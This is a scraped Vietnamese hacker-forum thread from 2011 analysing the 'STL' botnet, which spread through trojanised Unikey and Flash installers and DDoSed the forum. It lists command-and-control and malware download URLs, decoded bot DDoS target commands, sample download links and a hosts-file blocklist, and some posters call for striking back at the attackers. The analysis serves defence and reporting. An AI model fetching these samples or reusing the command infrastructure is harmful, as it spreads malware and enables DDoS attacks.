website-webserver nào đang in-charge (đang làm nhiệm vụ DDoS), như đang DDoS vào HVA chẳng hạn, cái nào đã thôi dùng.? Chúng ta cũng chưa phân tích và tổng hơp các thông tin về nguồn (website, webserver) mà STL hay người khác (bị STL lơi dung) dùng để phát tán virus, thí dụ http://nethoabinh.com/ mà lequi đã xác nhận. Về virus-trojan chúng ta cũng còn chưa rõ là ngoài nhóm file MShelpcenter.*... tạo ra từ malicious Unikey mà lequi download về từ đường dẫn của http://nethoabinh.com/, có còn có các nhóm file loại khác, tên khác nhưng công dung tương tự không?. MShelpcenter.* files có là những file mới nhất của STL không.? STL cũng nhúng virus-Trojan vào các file Vietkey (2000-2002-2007) đang được upload rất nhiêu trên mạng. Chúng đươc STL nhúng vào các virus-trojan loai gì, có giống như ở Unikey không? Còn phải kể những file Adobe flash Player dễ dàng download trên mạng, cũng thường bị STL nhúng virus-trojan vào. Rõ ràng đang còn rất nhiều vấn đề cần phải nghiên cứu, tìm hiểu và giải quyết. ]]> /hvaonline/posts/list/39641.html#244310 /hvaonline/posts/list/39641.html#244310 GMT /hvaonline/posts/list/39641.html#244312 /hvaonline/posts/list/39641.html#244312 GMT Code:

URL1: http://speed.cyline.org:443/flower.bmp?g={1CD70F27-EA66-4812-834C-FB39AE2DC170}&c=1&v=1&tf=312218282815&tr=312218282861&t=312218282864&p=2&e=0&n=ThangChaMayTuiSTL&u=OngNoiMayNe&lfhbbnwdbywxlineyegfswjxylrktvvfjqlr=vznmbfhxpgocvojqhosgdbenhrjtnglagonsvca
URL2: http://speed.cyline.org:443/BlueSphere.bmp?dl=1&oyeerpsaahqumkthxeswvwlfdxpizmffsfk=njhkmdjqlnkwmrofymzmxgqf

]]> /hvaonline/posts/list/39641.html#244314 /hvaonline/posts/list/39641.html#244314 GMT http://code.google.com/p/vietnam-unikey/downloads/detail?name=Uk40RC1ntSetup.exe&can=2&q= - sourceforge: http://en.sourceforge.jp/projects/sfnet_unikey/downloads/unikey-win/4.0%20RC1/Uk40RC1ntSetup.exe/) đều y như nhau và đều là malware.. Bản trên code.google.com được upload ngày 17 tháng 3 năm 2010. Bản trên sourceforge được upload ngày 19 tháng 4 năm 2006. Cả ba bản trên có y hệt checksum và nội dung y hêt nhau. Chỉ còn 1 cách là gởi thông tin đến tất cả các cty antivirus. ]]> /hvaonline/posts/list/39641.html#244318 /hvaonline/posts/list/39641.html#244318 GMT

conmale wrote:

- sourceforge: http://en.sourceforge.jp/projects/sfnet_unikey/downloads/unikey-win/4.0%20RC1/Uk40RC1ntSetup.exe/)  

Em vừa down thử từ nguồn này về, thấy nó sạch mà anh !?]]> /hvaonline/posts/list/39641.html#244319 /hvaonline/posts/list/39641.html#244319 GMT

acoustics89 wrote:

Bận quá, giờ mới mò vào xem được, topic tăng nhanh quá. Hay bây giờ thành lập 1 đội đi ạ, phân công ai phân tích cái gì. Chứ bây giờ ví dụ như em tải cái bộ Backup của bạn Lequi về phân tích cũng mất công, vì đa số anh em khác làm rồi. nhưng kể ra làm 1 đội cũng khó, vì đa phần anh em dùng thời gian rảnh để làm, có người bận lúc này lúc khác Các anh có ý kiến gì để làm việc hiệu quả hơn không 

Anh nghĩ có 3 mảng để lo: 1. RE. 2. Trace net và xác định mạng hoạt động của malware. 3. Report cho các nhóm antiviruses và các nhóm chức năng. Nếu cần làm việc hữu hiệu có lẽ cần phải tạo một group list (dùng google group chẳng hạn). Trong đó, thành viên của nhóm liên lạc qua group và chỉ nên công bố thông tin trên diễn đàn sau khi tìm ra kết quả hoặc nếu cần các thành viên trên diễn đàn đóng góp thêm thông tin, mẫu mã.]]> /hvaonline/posts/list/39641.html#244320 /hvaonline/posts/list/39641.html#244320 GMT

conmale wrote:

Tớ vừa thử nghiệm thì 3 copies khác nhau của unikey download từ - sourceforge: http://en.sourceforge.jp/projects/sfnet_unikey/downloads/unikey-win/4.0%20RC1/Uk40RC1ntSetup.exe/) đều y như nhau và đều là malware.. Bản trên code.google.com được upload ngày 17 tháng 3 năm 2010. Bản trên sourceforge được upload ngày 19 tháng 4 năm 2006. Cả ba bản trên có y hệt checksum và nội dung y hêt nhau. Chỉ còn 1 cách là gởi thông tin đến tất cả các cty antivirus.  

Thằng này em chạy cũng sạch luôn, ko thấy sinh ra mấy cái folder với file .exe nào cả]]> /hvaonline/posts/list/39641.html#244321 /hvaonline/posts/list/39641.html#244321 GMT

rang0 wrote:

conmale wrote:

- sourceforge: http://en.sourceforge.jp/projects/sfnet_unikey/downloads/unikey-win/4.0%20RC1/Uk40RC1ntSetup.exe/)  

Em vừa down thử từ nguồn này về, thấy nó sạch mà anh !? 

Lạ vậy? Anh download từ nguồn sourceforge ở trên, cái binary y hệt như từ trang nethoabinh.com. Không lẽ anh download bản bị cached ở đâu đó chớ không phải bản chính thức từ sourceforge?]]> /hvaonline/posts/list/39641.html#244322 /hvaonline/posts/list/39641.html#244322 GMT http://fastupdate.dyndns-office.com/ Emm có vào site này có thông báo Code:

fastupdate.dyndns-office.com is offline

fastupdate.dyndns-office.com is currently offline. Please try again later.

Theo em host này đã đc cấu hình, nếu không đúng User-Agent nó sẽ wwwect sang cái thông báo trên Còn cái thông báo đó chỉ để "lừa tình" mọi người thôi, mọi người sẽ nghĩ nó offline thật, vì theo em biết dyndns không hỗ trợ những thông báo như vậy]]> /hvaonline/posts/list/39641.html#244323 /hvaonline/posts/list/39641.html#244323 GMT http://fastupdate.dyndns-office.com/ nó ra cái này Code:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.k9activewear.com/request.php?remote_socket=tcp://xxxxxxxxxxx">here</a>.</p>
<hr>
<address>Apache/2.2.3 (CentOS) Server at 216.55.166.13 Port 80</address>
</body></html>

Check cái http://www.k9activewear.com Code:

Registrar: GODADDY.COM, INC.
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Status: clientDeleteProhibited, clientRenewProhibited, clientTransferProhibited, clientUpdateProhibited

Expiration Date: 2012-07-04
Creation Date: 2011-07-04
Last Update Date: 2011-07-04

Name Servers:
    ns77.domaincontrol.com
    ns78.domaincontrol.com
See k9activewear.com DNS Records

Information Updated: Wed, 27 Jul 2011 10:47:41 UTC

Creation Date: 2011-07-04 <-- Mới tinh luôn Lại Prohibited hehe mấy anh này nguỵ trang kiểu ÚC rồi]]> /hvaonline/posts/list/39641.html#244324 /hvaonline/posts/list/39641.html#244324 GMT /hvaonline/posts/list/39641.html#244325 /hvaonline/posts/list/39641.html#244325 GMT /hvaonline/posts/list/39641.html#244326 /hvaonline/posts/list/39641.html#244326 GMT /hvaonline/posts/list/39641.html#244327 /hvaonline/posts/list/39641.html#244327 GMT

conmale wrote:

acoustics89 wrote:

Bận quá, giờ mới mò vào xem được, topic tăng nhanh quá. Hay bây giờ thành lập 1 đội đi ạ, phân công ai phân tích cái gì. Chứ bây giờ ví dụ như em tải cái bộ Backup của bạn Lequi về phân tích cũng mất công, vì đa số anh em khác làm rồi. nhưng kể ra làm 1 đội cũng khó, vì đa phần anh em dùng thời gian rảnh để làm, có người bận lúc này lúc khác Các anh có ý kiến gì để làm việc hiệu quả hơn không 

Anh nghĩ có 3 mảng để lo: 1. RE. 2. Trace net và xác định mạng hoạt động của malware. 3. Report cho các nhóm antiviruses và các nhóm chức năng. Nếu cần làm việc hữu hiệu có lẽ cần phải tạo một group list (dùng google group chẳng hạn). Trong đó, thành viên của nhóm liên lạc qua group và chỉ nên công bố thông tin trên diễn đàn sau khi tìm ra kết quả hoặc nếu cần các thành viên trên diễn đàn đóng góp thêm thông tin, mẫu mã. 

em cũng vừa nghĩ đến vấn đề này, thà rằng tạo 1 team âm thầm làm việc và chỉ public khi công việc đến mức độ nào đó. em thấy các anh cứ làm việc rồi lại mất ngồi post lên thế này khá mất thời gian :D mà lại đánh rắn động cỏ ...nếu được em xin 1 chân ở trong group nào đó :D Ý kiến của em là nên lập 1 nhóm tuyên truyền .Hướng dẫn kĩ thuật tìm và diệt malware, cho member ở các forum khác. các phần mềm đã bị fake nên có hướng dẫn cụ thể đâu là thật đâu là giả và lấy từ nguồn nào tốt nhất,chắc chắn chúng ta không thể loại hoàn toàn được malware của STL nhưng cũng đỡ đi phần nào, để chúng nó thấy anh em hva cũng biết cách phản công chứ không chỉ ngồi phân tích cái đống code của chúng. Đã đến lúc mọi người chung tay góp sức, làm việc có kế hoạch và bài bản để đạt được kết quả cao nhất :D O-) ]]> /hvaonline/posts/list/39641.html#244330 /hvaonline/posts/list/39641.html#244330 GMT http://analysis.avira.com/samples/details.php?uniqueid=KcAZAjtnOS4VD6kgfsrWYGchX1gq6Lvn&incidentid=791390 Clean sạch hết, mà là Trojan.Downloader 100% đấy. Bó tay. Em cạch, không dám tin tưởng 100% vào các AVs nữa. ]]> /hvaonline/posts/list/39641.html#244332 /hvaonline/posts/list/39641.html#244332 GMT /hvaonline/posts/list/39641.html#244337 /hvaonline/posts/list/39641.html#244337 GMT /hvaonline/posts/list/39641.html#244338 /hvaonline/posts/list/39641.html#244338 GMT

TQN wrote:

Em cạch, không dám tin tưởng 100% vào các AVs nữa.  

Em lúc trước mua con lap được khuyến mại bkav pro 3 tháng. Định ko dùng đâu nhưng mà free thì cũng cứ dùng cho đỡ phí(sinh viên mà). Mấy hôm nay nghe thấy vụ này cũng lên down mấy mẫu về xem bkav làm ăn thế nào thế mà nó cũng chén sạch anh ạ :D . Em nghĩ có khi bkav của anh "quảng bomb" cũng đang "âm thầm" theo chân đám mèo què ấy chứ :P]]> /hvaonline/posts/list/39641.html#244339 /hvaonline/posts/list/39641.html#244339 GMT

TQN wrote:

Thậm chí như Avira vừa rồi, update đống BackupSvc lên, còn report cho em như sau: http://analysis.avira.com/samples/details.php?uniqueid=KcAZAjtnOS4VD6kgfsrWYGchX1gq6Lvn&incidentid=791390 Clean sạch hết, mà là Trojan.Downloader 100% đấy. Bó tay. Em cạch, không dám tin tưởng 100% vào các AVs nữa.  

Em nhìn cái link của anh mà em buồn cười quá =)) =)) Cười như điên lúc nửa đêm. Như em nói đó, công nghệ tạo ra malware đang đi trước chúng ta, và các hãng AV. Các hãng cứ quảng cáo mình lắm tài, nhiều công nghệ tiên tiến nhưng mà đấy, submit mẫu cho thì lai bảo clean. Đến cả AV cài trên máy, hook kinh hoàng, driver đủ kiểu, Chữ kí chữ cọt, Emulator, Heuristic, điện toán đám ma... mà có ăn thua đâu Nói chung là lởm như nhau thôi, chả cái AV nào tốt, lại còn chậm máy, thi thoảng lại dở chứng . Nhìn log của các bạn như KIS thì nản, dài dòng, tuỳ chọn vô biên nhưng mà để làm gì, vô dụng cả thôi =)) Em quen dùng cái av em thích nhất là VMWare, duyệt web vô tư,download thì toàn từ trang chủ, check kĩ, crack thì toàn RCE ra, xem patch thế nào, thì code lại, keygen cũng thế....Nói chung là an toàn tuyệt đối. Tất nhiên có bác sẽ nói em phải đầu tư RAM với ổ cứng, nhưng mà các bác ạ, dùng AV thì cũng thế thôi, như bạn BIT, sắp lên 1GB database rồi đấy, bạn nào chả chiếm ram, tương đương máy ảo thôi. Trong máy ảo em có cả Microsoft Word nhé -:|- ]]> /hvaonline/posts/list/39641.html#244341 /hvaonline/posts/list/39641.html#244341 GMT /hvaonline/posts/list/39641.html#244342 /hvaonline/posts/list/39641.html#244342 GMT /hvaonline/posts/list/39641.html#244345 /hvaonline/posts/list/39641.html#244345 GMT

ptv_vbhp wrote:

TQN wrote:

Em cạch, không dám tin tưởng 100% vào các AVs nữa.  

Em lúc trước mua con lap được khuyến mại bkav pro 3 tháng. Định ko dùng đâu nhưng mà free thì cũng cứ dùng cho đỡ phí(sinh viên mà). Mấy hôm nay nghe thấy vụ này cũng lên down mấy mẫu về xem bkav làm ăn thế nào thế mà nó cũng chén sạch anh ạ :D . Em nghĩ có khi bkav của anh "quảng bomb" cũng đang "âm thầm" theo chân đám mèo què ấy chứ :P 

Trước khi em cho bkav chén mấy con bọ, em có cập nhật virus def của bkav không hay chỉ dùng bản cũ?]]> /hvaonline/posts/list/39641.html#244349 /hvaonline/posts/list/39641.html#244349 GMT /hvaonline/posts/list/39641.html#244354 /hvaonline/posts/list/39641.html#244354 GMT

ptv_vbhp wrote:

Bản virus def là gì hả anh ? Em vẫn dùng bản cũ trong đó có mẫu .idx em thấy bị chém lâu lâu rồi hay sao ý ? 

Definition em, nhưng mà phát biểu thì phải cẩn trọng nhé.]]> /hvaonline/posts/list/39641.html#244359 /hvaonline/posts/list/39641.html#244359 GMT /hvaonline/posts/list/39641.html#244361 /hvaonline/posts/list/39641.html#244361 GMT Code:

URL1: http://poxxf.com/flash.swf?cpn=ABC
URL2: http://paxds.com/flash.swf?cpn=ABC - Chưa chết, nhưng forbidden.
URL Download AcrobatUpdater.exe: http://poxxf.com/images.gif
User-Agent: Gozilla_2/General

Down images.gif về, xor toàn bộ content với 0x19, ra ông nội bot mới: Code:

File AcrobatUpdater.exe:
Size = 315392 bytes
MD5 = 5EA82DD32A7ECA5FDDAFE7D4A7F5E82D

Debug, trace, capture packet của nó, ra thông tin thằng host mới của STL: Code:

Host: second.dinest.net
IP: 193.106.175.68
User-Agent: An0nym0453
xv.jpg: 2011-07-28 09:46:58
xc.jpg: <targets><item enabled="1" threads="5" delay="5" method="GET" protocol="http" host="www.hvaonline.net" port="80" uri="/" keepCookies="1" crawling="1" referer=""/></targets>

Em lạy bà con, bà con xoá giùm em hết mấy cái MsHelpCenter, BackupSvc, AcrobatUpdater giùm em với. Cảnh báo như vậy mà vẫn không nhúc nhích gì à ? PS: Chỉ sơ ý bỏ qua một host trong MsHelpCenter.exe mà tụi nó nhanh chân dùng host kia liền. MsHelpCenter.exe, BackupSvc.exe mang trong người nó 2-4 địa chỉ host để download file exe bot về. Host này down không được thì nhảy tới host khác. Cái này cũng chính là cái chủ quan của em và accxxx89 (thông cảm, tên khó nhớ quá) File mẫu bot mới up ở: http://www.mediafire.com/?f1xiq71cpfe7ej4]]> /hvaonline/posts/list/39641.html#244363 /hvaonline/posts/list/39641.html#244363 GMT Code:

URL1: http://poxxf.com/flash.swf?cpn=ABC
URL2: http://paxds.com/flash.swf?cpn=ABC
URL Download AcrobatUpdater.exe: http://poxxf.com/images.gif
User-Agent: Gozilla_2/General

Bản cũ: Code:

URL1: http://tongfeirou.dyndns-web.com/banner1.png?cpn=ABC
URL2: http://biouzhen.dyndns-server.com/banner1.png?cpn=ABC
URL3: http://maowoli.dyndns-free.com/banner1.png?cpn=ABC
User-Agent: Gozilla_2/General

]]> /hvaonline/posts/list/39641.html#244364 /hvaonline/posts/list/39641.html#244364 GMT Domain Name: DINEST.NET Registrant: PrivacyProtect.org Domain Admin (contact@privacyprotect.org) ID#10760, PO Box 16 Note - All Postal Mails Rejected, visit Privacyprotect.org Nobby Beach null,QLD 4218 AU Tel. +45.36946676 Creation Date: 27-Jul-2011 Expiration Date: 27-Jul-2012 

Em lạy bà con, bà con xoá giùm em hết mấy cái MsHelpCenter, BackupSvc, AcrobatUpdater giùm em với. Cảnh báo như vậy mà vẫn không nhúc nhích gì à ?  

Trong này thì anh nghĩ xem liệu có bao nhiêu người chịu theo dõi topic của anh và biết về sự kiện này? 

template wrote:

Trong này thì anh nghĩ xem liệu có bao nhiêu người chịu theo dõi topic của anh và biết về sự kiện này? 

Theo tôi rất nhiều members của HVA theo dõi topic này. Nhưng chỉ riêng HVA thôi thì làm sao khống chế được? Thiết nghĩ các thành viên HVA nên public các kết quả đến các forum khác thì hiểu quả sẽ cao hơn.  

Cộng đồng IT biết rất kém về sự kiện lần này, nguyên lớp tôi 200 người, sinh viên năm 4 hầu như không ai biết sự việc đang diễn ra. Các anh một mặt RCE nhưng khâu MARKETTING lại càng quan trọng hơn.  

template wrote:

Cộng đồng IT biết rất kém về sự kiện lần này, nguyên lớp tôi 200 người, sinh viên năm 4 hầu như không ai biết sự việc đang diễn ra. Các anh một mặt RCE nhưng khâu MARKETTING lại càng quan trọng hơn.  

Tôi thấy anh TQN đã post các kết quả RCE ở nhiều forum như DDTH, forum về C hay ở vnzoom, nhưng một cánh én khó làm nên mùa xuân. Bởi vậy tôi mới kêu gọi các thành viên có trách nhiệm public nhiều hơn nữa. Có thể qua YM(spam nhưng là spam tốt:D) qua các forum mà mình tham gia.  

Tại sao bolzano_1989 phải đăng ký nick mới tunghoang để post bài chứ ? CMC có áp lực cho em à ? 

"Microsoft đã phối hợp với các doanh nghiệp, trường đại học và chính quyền Mỹ thực hiện chiến dịch B107 tiêu diệt Rustock, một trong những mạng botnet lớn và nguy hiểm nhất hành tinh." Hi vọng một mình HVA cũng có thể tiêu diệt mạng botnet lớn nhất Việt Nam hiện nay!  

..................... Debug, trace, capture packet của nó, ra thông tin thằng host mới của STL: Host: second.dinest.net IP: 193.106.175.68 User-Agent: An0nym0453 xv.jpg: 2011-07-28 09:46:58 xc.jpg: <targets><item enabled="1" threads="5" delay="5" method="GET" protocol="http" host="www.hvaonline.net" port="80" uri="/" keepCookies="1" crawling="1" referer=""/></targets> ..................................... PS: Chỉ sơ ý bỏ qua một host trong MsHelpCenter.exe mà tụi nó nhanh chân dùng host kia liền. MsHelpCenter.exe, BackupSvc.exe mang trong người nó 2-4 địa chỉ host để download file exe bot về. Host này down không được thì nhảy tới host khác. Cái này cũng chính là cái chủ quan của em và accxxx89 (thông cảm, tên khó nhớ quá)  

- fpt.dinest.net IP 67.19.72.202 - irc.dinest.net IP 67.19.72.202 - mail.dinest.net IP 67.19.72.202 - www.dinest.net IP 67.19.72.202 - blog.dinest.net Ip 98.124.253.253 

Anh conmale full stress với STl rùi kìa ;)) Bọn nó phá, cũng không thể phá mãi. Càng phá bọn nó càng nhục, nhục rồi đến lúc nội bộ lục cục mà tan rã :)) Vụ này làm cho các thành viên trong HVA mệt mỏi, sau vụ này liệu anh TQN, conmale, PXMMRF, ... có định đi nghỉ mát không các anh ? 

Cùng chào đón 1 server mới của STL nào : Code:

http://map.priper.info:8080

Đây sẽ là địa chỉ để file uxtheme.manifest_29072011 connect và cập nhật (có lẽ là để thay thế cho cái speed.cyline.org) 

This Account Has Been Suspended 

Bác com ơi , vào site bây giờ vừa khó , vừa lằng nhằng , nhiều khi hiện ra lỗi khó hiểu quá Mong các cao thủ tiếp tục phân tích,tìm cách bem các con virut vừa ddos HVA trong 3 ngày vừa qua  

We have processed your submission (Tracking #20846824) and your submission is now closed. The following is a report of our findings for the files in your submission: File: AcrobatUpdater.exe Machine: Machine Determination: Please see the developer notes.  

--------------------------------------------------------------------------- Developer Notes --------------------------------------------------------------------------- AcrobatUpdater.exe Our automation was unable to identify any malicious content in this submission. The file will be stored for further human analysis 

rang0 wrote:

Cùng chào đón 1 server mới của STL nào : Code:

http://map.priper.info:8080

Đây sẽ là địa chỉ để file uxtheme.manifest_29072011 connect và cập nhật (có lẽ là để thay thế cho cái speed.cyline.org) 

Domain này (map.priper.info) đã bị suspended

This Account Has Been Suspended 

Domain-website này: "speed.cyline.org", vẫn đang active. Nhưng nhiều lúc kết nôi đến website này rất châm (slow connection) 

http://www.mediafire.com/?bdk5fvj8bf8k6nr

Xin hỏi rang0 đường link map.ripper.info được lấy từ đâu và thằng virus nằm vùng nào lên đấy down về ? 

Danh sách các host và các file virus, DDOS commands của tụi stl mà chúng ta đã biết được tính tới thời điểm này: Code:

1.  http://safebrowser.dyndns.org/photos/safebrowser1.gif
2.  http://safebrowsing.dyndns-blog.com/photos/safebrowser1.gif
3.  http://express.blogdns.info/advertise.gif
4.  http://fastupdate.dyndns-office.com/advertise.gif
5.  http://hot.enfaqs.com/advertise.gif
6.  http://securelogin.doomdns.com/advertise.gif
7.  http://tongfeirou.dyndns-web.com/banner1.png
8.  http://biouzhen.dyndns-server.com/banner1.png
9.  http://maowoli.dyndns-free.com/banner1.png
10. http://poxxf.com/flash.swf
11. http://paxds.com/flash.swf
12. http://poxxf.com/images.gif
13. http://speed.cyline.org:443/flower.bmp
14. http://speed.cyline.org:443/BlueSphere.bmp
15. http://speed.cyline.org:443/plxzyin0fx.bmp
16. http://second.dinest.net/xc.jpg
17. http://second.dinest.net/xv.jpg

Mong bà con phổ biến, bật firewall để lọc các URL trên và các trình capture để check. 

127.0.0.1 safebrowser.dyndns.org
127.0.0.1 safebrowsing.dyndns-blog.com
127.0.0.1 express.blogdns.info
127.0.0.1 fastupdate.dyndns-office.com
127.0.0.1 hot.enfaqs.com
127.0.0.1 securelogin.doomdns.com
127.0.0.1 tongfeirou.dyndns-web.com
127.0.0.1 biouzhen.dyndns-server.com
127.0.0.1 maowoli.dyndns-free.com
127.0.0.1 poxxf.com
127.0.0.1 paxds.com
127.0.0.1 poxxf.com
127.0.0.1 speed.cyline.org
127.0.0.1 second.dinest.net

Đúng là tụi này thâm và nham hiểm thật. Chỉ một chút sơ hở, chủ quan của anh em ta mà tụi nó đã move và build toàn bộ các bot mới qua host khác. Bây giờ tấn công HVA không còn một mình AcrobatUpdater.exe nữa. Bà con cứ gặp uxtheme.manifest thì xoá ngay tắp lự giúp em nhé Cảm ơn rang0 nhé ! 

Bọn stl này đúng là điên cuồng, cuồng thật rồi. http://www.baomoi.com/Home/CNTT/hanoimoi.com.vn/Hon-85000-may-tinh-tai-Viet-Nam-da-bi-lay-cap-du-lieu/6731238.epi Có bài này của Bkav ...chỉ thấy nhắc tới FLASH, ADOBE ACROBAT UPDATE...mà không thấy đả động giừ tới Vietkey, Unikey cả, mà 2 chương trình gõ tiếng Việt này thì 95% máy tính ở VN có cài.  

Bọn stl này đúng là điên cuồng, cuồng thật rồi. http://www.baomoi.com/Home/CNTT/hanoimoi.com.vn/Hon-85000-may-tinh-tai-Viet-Nam-da-bi-lay-cap-du-lieu/6731238.epi Có bài này của Bkav ...chỉ thấy nhắc tới FLASH, ADOBE ACROBAT UPDATE...mà không thấy đả động giừ tới Vietkey, Unikey cả, mà 2 chương trình gõ tiếng Việt này thì 95% máy tính ở VN có cài.  

Công nhận các bạn STL "sneaky" thiệt :-) . Tớ phải mất một buổi ngồi dòm cái đống log chạy ròng rã mới hiểu được lý do tại sao thằng tomcat của HVA bị treo qua đêm. Các bạn chơi trò đấm rỉ rả kiểu này thiệt là hiểm. Các bạn muốn bịt miệng HVA như đã bịt miệng những trang khác sao? Các bạn phải biết rằng các bạn chưa đủ sức để bịt cả Internet (ngoài chuyện đặt tường lừa để cản thì không phải bàn). 

Công nhận các bạn STL "sneaky" thiệt :-) . Tớ phải mất một buổi ngồi dòm cái đống log chạy ròng rã mới hiểu được lý do tại sao thằng tomcat của HVA bị treo qua đêm. Các bạn chơi trò đấm rỉ rả kiểu này thiệt là hiểm. Các bạn muốn bịt miệng HVA như đã bịt miệng những trang khác sao? Các bạn phải biết rằng các bạn chưa đủ sức để bịt cả Internet (ngoài chuyện đặt tường lừa để cản thì không phải bàn). 

trận sáng nay là gì nhỉ -:|-  

Ặc ặc, đọc tới đây mà không biết stl là gì à ? stl = sinh tử lệnh = sống chết theo lệnh !? stl # STL: C++ Standard Template Library nhé. Chớ nhầm lẫn là tụi coder C++ khắp thế giới nhảy vào phang đấy. 

PXMMRF wrote:

rang0 wrote:

Cùng chào đón 1 server mới của STL nào : Code:

http://map.priper.info:8080

Đây sẽ là địa chỉ để file uxtheme.manifest_29072011 connect và cập nhật (có lẽ là để thay thế cho cái speed.cyline.org) 

Domain này (map.priper.info) đã bị suspended

This Account Has Been Suspended 

Domain-website này: "speed.cyline.org", vẫn đang active. Nhưng nhiều lúc kết nôi đến website này rất châm (slow connection) 

Em không biết anh check cái "map.ripper.info" thế nào nhưng hôm nay em vẫn download được malware từ cái host đó : Code:

http://www.mediafire.com/?bdk5fvj8bf8k6nr

 

Vì vậy vào ngày 1-8-2011 tôi phát hiện ra domain ripper.info bị suspended, thì có thể trong một hai ngay sau đó STL vẫn còn tận dụng đươc domain nay để active website map.ripper.info. Tuy nhiên đến ngày 3-8 (hôm qua) thì domain này đã trỏ đến một trang của website của công ty SEDO Trang chủ của website của công ty SEDO: http://www.sedo.com/uk/home/welcome/?tracked=1&partnerid=20293&language=e Đây là trang của SEDO thông báo bán ripper.info: http://www.sedo.com/search/details.php4?domain=ripper.info&trackingRequestId=16343907&tracked=1&partnerid=20293&language=e  

Trước: map.priper.info [91.121.221.222]
Hôm nay : map.priper.info [208.115.200.206]

PXMMRF wrote:

Vì vậy vào ngày 1-8-2011 tôi phát hiện ra domain ripper.info bị suspended, thì có thể trong một hai ngay sau đó STL vẫn còn tận dụng đươc domain nay để active website map.ripper.info. Tuy nhiên đến ngày 3-8 (hôm qua) thì domain này đã trỏ đến một trang của website của công ty SEDO Trang chủ của website của công ty SEDO: http://www.sedo.com/uk/home/welcome/?tracked=1&partnerid=20293&language=e Đây là trang của SEDO thông báo bán ripper.info: http://www.sedo.com/search/details.php4?domain=ripper.info&trackingRequestId=16343907&tracked=1&partnerid=20293&language=e  

Anh ơi "ripper.info" với "pripper.info" là nó khác nhau đấy ạ. Hôm nay cái subdomain này lại được trỏ sang con server khác rồi. Hôm trước Code:

Trước: map.priper.info [91.121.221.222]
Hôm nay : map.priper.info [208.115.200.206]

Và malware vẫn đang được cập nhật đều :(. 

Theo dõi file anh Conmale thông báo (ddos_28-07-2011) thì có IP của cơ quan em(nhiều subnet) nên mình không biết cách xác định máy nào nhiễm malware của STL vì ko phải net admin chỉ là người dùng. bạn nào có cách hay soft gì thì hướng dẫn mình với. ps: báo cáo anh Conmale là file ddos-03-08-2011-uniq thì không có, nếu anh có cách gì thì mail cho em với nhé, em muốn góp chút gì đó để HVA giảm được tấn công ddos. E-mail và IP của em thì chắc anh thừa biết rồi. :d  

Xin hỏi rang0 đường link map.ripper.info được lấy từ đâu và thằng virus nằm vùng nào lên đấy down về ? 

TQN wrote:

Xin hỏi rang0 đường link map.ripper.info được lấy từ đâu và thằng virus nằm vùng nào lên đấy down về ? 

Em quên mất rồi :( 

Nhân bài báo cáo "Operation Shady RAT" của McAfee, phía Symantec cũng đưa ra một bản báo cáo, mà nếu đọc thì mọi người sẽ thấy nó cũng giống như những gì đang diễn ra ở HVA : Code:

http://www.symantec.com/connect/blogs/truth-behind-shady-rat

 

Nhân bài báo cáo "Operation Shady RAT" của McAfee, phía Symantec cũng đưa ra một bản báo cáo, mà nếu đọc thì mọi người sẽ thấy nó cũng giống như những gì đang diễn ra ở HVA : Code:

http://www.symantec.com/connect/blogs/truth-behind-shady-rat

 

@anh Conmale: Có cách nào dùng gậy ông đập lưng ông không, chứ chả lẽ chịu trận mãi thế này khó chịu thật. Ngoài phân tích và update cho các AV thì cũng phải đập lại cho tơi bời chứ!? 

Bây giờ chưa có mẫu mới hả anh, vẫn cái kia nó dos, lại còn post dòng này, bực quá. Code:

<item enabled="0" threads="5" delay="5" method="GET" protocol="http" host="www.hvaonline.net" port="80" uri="/hvaonline/posts/list/210/39641.html#244332" keepCookies="1" crawling="1" referer="Hey Postmodernism, When you config HVA like X-Cafe?"/>

mà tên em dễ viết như thế mà anh TQN lúc thì accxxxx ( chắc đang nghĩ đến từ account ) lúc thì acourxxx :| 

@anh Conmale: Có cách nào dùng gậy ông đập lưng ông không, chứ chả lẽ chịu trận mãi thế này khó chịu thật. Ngoài phân tích và update cho các AV thì cũng phải đập lại cho tơi bời chứ!? 

Giờ này có lẽ HVA vẫn đang bị ddos anh Conmale nhỉ, em mới check lại cái second.dinest.net thì thấy đã trỏ sang 1 IP khác là 46.166.147.48 ở Ru.  

He he, sáng nay grep awk sed mớ logs thì thấy các bạn STL "thử" lung tung ;). Công nhận secure website để kiddies không phá phách bậy bạ thì không khó nhưng secure website để khỏi bị DDoS kiểu "crawler" thì mệt thiệt. Cái "hiệu lệnh" xml của các bạn STL có những limitation (hoặc flaw) không nhỏ nhưng có điều, tớ chả rảnh để viết thêm một ký sự DDoS HVA cho nên các bạn tự mà phân tích những limitation ấy :-) . Ngay cả những con zombies cũng bị những limitation khác. Nếu webserver bị DDoS mà respond một dạng packet có nội dung nhất định nào đó thì có thể làm "teo" con zombie và teo máy chạy zombie (nhưng có lẽ các bạn không quan tâm mấy con zombies bị treo), các bạn chỉ quan tâm đến việc có zombies để phá hoại mà thôi, phải không nào? :-)  

Tụi stl code bot ồ ạt mà quên nguyên tắc "secure coding", muốn làm bot crash thì dể lắm đấy .lht. à ! Nhưng máy của victim crash chứ có phải máy tụi nó đâu, nên tụi nó "đông ke" ! 

Bản tải link nào chứ mình download trên Unikey.org và scan bằng virustotal đâu phát hiện "mèo què" hay '"tròi gián" nào đâu. Kết quả: http://www.virustotal.com/file-scan/report.html?id=aba5c0bff0442597ff8743b4fe7d28de945b78be01eb88fc4a95cadd1fbee409-1312691552  

Hix.Mình quên nói rõ là bản này mình tải lâu rồi, gần 3 tháng rồi. Nhưng chắc chắn là mình đã tải ở Unikey.org. Chắc có lẽ bên đó đã update bản mới. Mình không biết đây có phải là STL không nên mình cứ up lên cho các anh test xem thử. 

whitesnow19 wrote:

Hix.Mình quên nói rõ là bản này mình tải lâu rồi, gần 3 tháng rồi. Nhưng chắc chắn là mình đã tải ở Unikey.org. Chắc có lẽ bên đó đã update bản mới. Mình không biết đây có phải là STL không nên mình cứ up lên cho các anh test xem thử. 

Chưa bao giờ có bản Unikey Vista cả, bạn hãy vào trực tiếp trang Unikey.org down lại nhé. Bản Unikey Vista là bản mod lại từ code của Unikey 3.6 (hoặc nếu không nhầm thì còn cũ hơn). Đừng là người tiếp tay cho STL khi không bao giờ down soft từ chính homepage! 

